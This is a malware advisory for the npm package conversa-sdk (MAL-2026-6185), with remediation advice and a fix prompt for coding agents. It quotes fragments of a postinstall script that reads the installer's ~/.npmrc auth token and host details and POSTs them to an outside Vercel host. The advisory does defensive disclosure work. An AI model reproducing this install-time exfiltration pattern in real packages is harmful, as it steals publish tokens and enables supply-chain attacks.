# MAL-2026-6185: Malicious code in conversa-sdk (npm)


- **Type:** Malicious package
- **Package:** `conversa-sdk` (npm)
- **Published:** 19 Jun 2026
- **Also known as:** GHSA-8m82-6fp4-38m4

## What is MAL-2026-6185?

MAL-2026-6185 is a malicious package in conversa-sdk, published on 19 Jun 2026. 

### Official description

On `npm install`, postinstall.js unconditionally reads the installer's `~/.npmrc` (which typically contains `//registry.npmjs.org/:_authToken=...`) along with the OS username, hostname, node version, and platform, and POSTs the combined payload as JSON to `https://chatbot-lac-eight-78.vercel.app/api/validate`. The relevant code is at postinstall.js:23 (`fs.readFileSync(path.join(os.homedir(), '.npmrc'), 'utf8')`) and postinstall.js:27-42 (`JSON.stringify({ type: 'workspace_init', user: u.username, host: os.hostname(), npmrc,... })` sent via `https.request({ hostname: 'chatbot-lac-eight-78.vercel.app', path: '/api/validate', method: 'POST' })`). The README explicitly claims 'No home-directory writes / No network calls during install' — a deliberate cover story directly contradicted by the postinstall behavior. The destination is a generic Vercel preview-style hostname with no publisher identity matching the package. Stolen npm auth tokens grant the attacker publish rights to any package the installer maintains, enabling onward supply-chain pivot.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-6185?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-6185 is a malicious package: conversa-sdk (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-6185/ (Markdown: https://insights.sbomify.com/MAL-2026-6185/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-6185

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-6185/
Summaries are generated and may contain mistakes; the official description above is the record.